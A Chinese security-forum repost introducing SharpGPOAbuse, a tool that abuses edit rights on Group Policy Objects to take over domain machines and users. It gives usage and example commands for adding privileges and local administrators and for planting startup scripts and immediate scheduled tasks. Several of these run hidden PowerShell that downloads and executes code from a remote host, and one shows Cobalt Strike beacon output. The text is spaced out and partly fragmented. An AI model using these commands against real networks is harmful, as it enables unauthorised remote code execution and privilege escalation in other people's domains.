搜索

[16679] 2021-04-17_如何通过用户的编辑权限控制组策略对象（GPO）控制的对象

文档创建者：s7ckTeam
浏览次数：20
最后更新：2025-01-18
2021-04-17_如何通过用户的编辑权限控制组策略对象（GPO）控制的对象 如 何 通 过 用 户 的 编 辑 权 限 控 制 组 策 略 对 象 （ G P O ） 控 制 的 对 象 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 4 - 1 7 关 于 关 于 S h a r p G P O A b u s e S h a r p G P O A b u s e 是 一 个 功 能 强 大 的 . N E T 应 用 程 序 ， S h a r p G P O A b u s e 基 于 C # 开 发 ， 可 以 帮 助 广 大 研 究 人 员 利 用 目 标 系 统 中 用 户 针 对 一 个 组 策 略 对 象 （ G P O ） 的 编 辑 权 限 来 入 侵 并 控 制 由 该 组 策 略 对 象 （ G P O ） 控 制 的 对 象 。 项 目 获 取 项 目 获 取 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ： 代 码 编 译 代 码 编 译 请 确 保 本 地 主 机 中 必 要 的 N u G e t 包 已 正 常 安 装 ， 然 后 就 可 以 使 用 V i s u a l   S t u d i o 将 项 目 导 入 之 后 直 接 编 译 构 建 了 。 工 具 使 用 工 具 使 用 攻 击 类 型 攻 击 类 型 当 前 版 本 的 S h a r p G P O A b u s e 支 持 下 列 攻 击 类 型 ： 选 项 选 项 描 述 描 述 — A d d U s e r R i g h t s 向 用 户 添 加 权 限 — A d d L o c a l A d m i n 向 本 地 管 理 员 组 中 添 加 一 个 用 户 — A d d C o m p u t e r S c r i p t 添 加 一 个 新 的 计 算 机 启 动 脚 本 — A d d U s e r S c r i p t 配 置 一 个 用 户 登 录 脚 本 — A d d C o m p u t e r T a s k 配 置 一 个 计 算 机 立 即 执 行 的 任 务 — A d d U s e r T a s k 向 用 户 添 加 一 个 立 即 执 行 的 任 务 攻 击 选 项 攻 击 选 项 添 加 用 户 权 限 添 加 用 户 权 限 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / F S e c u r e L A B S / S h a r p G P O A b u s e . g i t U s a g e :     S h a r p G P O A b u s e . e x e   < 攻 击 类 型 >   < 攻 击 选 项 > O p t i o n s   r e q u i r e d   t o   a d d   n e w   u s e r   r i g h t s : - - U s e r R i g h t s                 给 用 户 添 加 新 的 权 限 ， 该 参 数 大 小 写 敏 感 ， 可 以 使 用 逗 号 分 隔 的 列 表 。 - - U s e r A c c o u n t                 设 置 需 要 添 加 新 权 限 的 用 户 账 号 。 - - G P O N a m e                 存 在 安 全 漏 洞 的 G P O 名 称 。 样 例 :                 S h a r p G P O A b u s e . e x e   - - A d d U s e r R i g h t s   - - U s e r R i g h t s   " S e T a k e O w n e r s h i p P r i v i l e g e , S e R e m o t e I n t e r a c t i v e L o g o n R i g h t "   - - U s e r A c c o u n t   b o b . s m i t h   - - G P O N a m e   " V u l n e r a b l e   G P O "
添 加 一 个 本 地 管 理 员 添 加 一 个 本 地 管 理 员 配 置 一 个 用 户 或 计 算 机 登 录 脚 本 配 置 一 个 用 户 或 计 算 机 登 录 脚 本 如 果 你 只 想 要 对 G P O 控 制 的 特 定 用 户 或 计 算 机 执 行 恶 意 脚 本 ， 你 可 以 在 恶 意 脚 本 中 添 加 一 个 i f 语 句 ： 配 置 计 算 机 或 用 户 立 即 执 行 的 任 务 配 置 计 算 机 或 用 户 立 即 执 行 的 任 务 O p t i o n s   r e q u i r e d   t o   a d d   a   n e w   l o c a l   a d m i n : - - U s e r A c c o u n t                 设 置 需 要 添 加 进 本 地 管 理 员 组 中 的 账 号 名 称 。 - - G P O N a m e                 存 在 安 全 漏 洞 的 G P O 名 称 。 样 例 :                 S h a r p G P O A b u s e . e x e   - - A d d L o c a l A d m i n   - - U s e r A c c o u n t   b o b . s m i t h   - - G P O N a m e   " V u l n e r a b l e   G P O " O p t i o n s   r e q u i r e d   t o   a d d   a   n e w   u s e r   o r   c o m p u t e r   s t a r t u p   s c r i p t : - - S c r i p t N a m e                 设 置 新 启 动 脚 本 的 名 称 。 - - S c r i p t C o n t e n t s                 设 置 新 启 动 脚 本 的 内 容 。 - - G P O N a m e                 存 在 安 全 漏 洞 的 G P O 名 称 。 样 例 :                 S h a r p G P O A b u s e . e x e   - - A d d U s e r S c r i p t   - - S c r i p t N a m e   S t a r t u p S c r i p t . b a t   - - S c r i p t C o n t e n t s   " p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 0 . 1 . 1 . 1 0 : 8 0 / a ' ) ) " "   - - G P O N a m e   " V u l n e r a b l e   G P O " S h a r p G P O A b u s e . e x e   - - A d d U s e r S c r i p t   - - S c r i p t N a m e   S t a r t u p S c r i p t . b a t   - - S c r i p t C o n t e n t s   " i f   % u s e r n a m e % = = < t a r g e t u s e r n a m e >   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( O p t i o n s   r e q u i r e d   t o   a d d   a   n e w   c o m p u t e r   o r   u s e r   i m m e d i a t e   t a s k : - - T a s k N a m e                 设 置 新 计 算 机 任 务 的 名 称 。 S e t   t h e   n a m e   o f   t h e   n e w   c o m p u t e r   t a s k . - - A u t h o r                 设 置 新 任 务 的 开 发 者 （ 可 以 使 用 D A 账 号 ） 。 - - C o m m a n d                 需 要 执 行 的 命 令 - - A r g u m e n t s                 传 递 给 命 令 的 参 数 。 - - G P O N a m e                 存 在 安 全 漏 洞 的 G P O 名 称 。 A d d i t i o n a l   U s e r   T a s k   O p t i o n s : - - F i l t e r E n a b l e d                 启 用 任 务 过 滤 器 。 E n a b l e   T a r g e t   F i l t e r i n g   f o r   u s e r   i m m e d i a t e   t a s k s . - - T a r g e t U s e r n a m e                 目 标 用 户 ， 恶 意 任 务 只 会 针 对 特 定 用 户 运 行 ， 格 式 为   < D O M A I N > < U S E R N A M E > 。 - - T a r g e t U s e r S I D                 目 标 用 户 的 S I D 。 A d d i t i o n a l   C o m p u t e r   T a s k   O p t i o n s : - - F i l t e r E n a b l e d
如 果 你 只 想 要 对 G P O 控 制 的 特 定 用 户 或 计 算 机 运 行 恶 意 任 务 ， 你 可 以 参 照 下 列 命 令 ： 额 外 选 项 额 外 选 项 选 项 选 项 描 述 描 述 — D o m a i n C o n t r o l l e r 设 置 目 标 域 控 制 器 — D o m a i n 设 置 目 标 域 名 — F o r c e 改 写 现 有 文 件 工 具 输 出 样 例 工 具 输 出 样 例 项 目 地 址 ： 点 击 底 部 【 阅 读 原 文 】 获 取 精 精 彩 彩 推 推 荐 荐                 启 用 任 务 过 滤 器 。 - - T a r g e t D n s N a m e                 目 标 D N S 名 称 ， 恶 意 任 务 只 会 针 对 目 标 主 机 运 行 。 样 例 :                 S h a r p G P O A b u s e . e x e   - - A d d C o m p u t e r T a s k   - - T a s k N a m e   " U p d a t e "   - - A u t h o r   D O M A I N A d m i n   - - C o m m a n d   " c m d . e x e "   - - A r g u m e n t s   " / c   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 0 . 1 . 1 . 1 0 : 8 0 / a ' ) ) " "   - - G P O N a m e   " V u l n e r a b l e   G P O " S h a r p G P O A b u s e . e x e   - - A d d C o m p u t e r T a s k   - - T a s k N a m e   " U p d a t e "   - - A u t h o r   D O M A I N A d m i n   - - C o m m a n d   " c m d . e x e "   - - A r g u m e n t s   " / c   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( b e a c o n >   e x e c u t e - a s s e m b l y   / r o o t / D e s k t o p / S h a r p G P O A b u s e . e x e   - - A d d C o m p u t e r T a s k   - - T a s k N a m e   " N e w   T a s k "   - - A u t h o r   E U R O P A A d m i n i s t r a t o r   - - C o m m a n d   " c m d . e x e "   - - A r g u m e n t s   " / c   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " [ * ]   T a s k e d   b e a c o n   t o   r u n   . N E T   p r o g r a m :   S h a r p G P O A b u s e _ f i n a l . e x e   - - A d d C o m p u t e r T a s k   - - T a s k N a m e   " N e w   T a s k "   - - A u t h o r   E U R O P A A d m i n i s t r a t o r   - - C o m m a n d   " c m d . e x e "   - - A r g u m e n t s   " / c   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 0 . 1 . 1 . 1 4 1 : 8 0 / a ' ) ) " "   - - G P O N a m e   " D e f a u l t   S e r v e r   P o l i c y " [ + ]   h o s t   c a l l e d   h o m e ,   s e n t :   1 7 1 5 5 3   b y t e s [ + ]   r e c e i v e d   o u t p u t : [ + ]   D o m a i n   =   e u r o p a . c o m [ + ]   D o m a i n   C o n t r o l l e r   =   E U R O D C 0 1 . e u r o p a . c o m [ + ]   D i s t i n g u i s h e d   N a m e   =   C N = P o l i c i e s , C N = S y s t e m , D C = e u r o p a , D C = c o m [ + ]   G U I D   o f   " D e f a u l t   S e r v e r   P o l i c y "   i s :   { 8 7 7 C B 7 6 9 - 3 5 4 3 - 4 0 C 6 - A 7 5 7 - F 2 D F 4 E 5 E 2 8 B D } [ + ]   C r e a t i n g   f i l e   e u r o p a . c o m S y s V o l e u r o p a . c o m P o l i c i e s { 8 7 7 C B 7 6 9 - 3 5 4 3 - 4 0 C 6 - A 7 5 7 - F 2 D F 4 E 5 E 2 8 B D } M a c h i n e P r e f e r e n c e s S c h e d u l e d T a s k s S c h e d u l e d T a s k s . x m l [ + ]   v e r s i o n N u m b e r   a t t r i b u t e   c h a n g e d   s u c c e s s f u l l y [ + ]   T h e   v e r s i o n   n u m b e r   i n   G P T . i n i   w a s   i n c r e a s e d   s u c c e s s f u l l y . [ + ]   T h e   G P O   w a s   m o d i f i e d   t o   i n c l u d e   a   n e w   i m m e d i a t e   t a s k .   W a i t   f o r   t h e   G P O   r e f r e s h   c y c l e . [ + ]   D o n e !
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理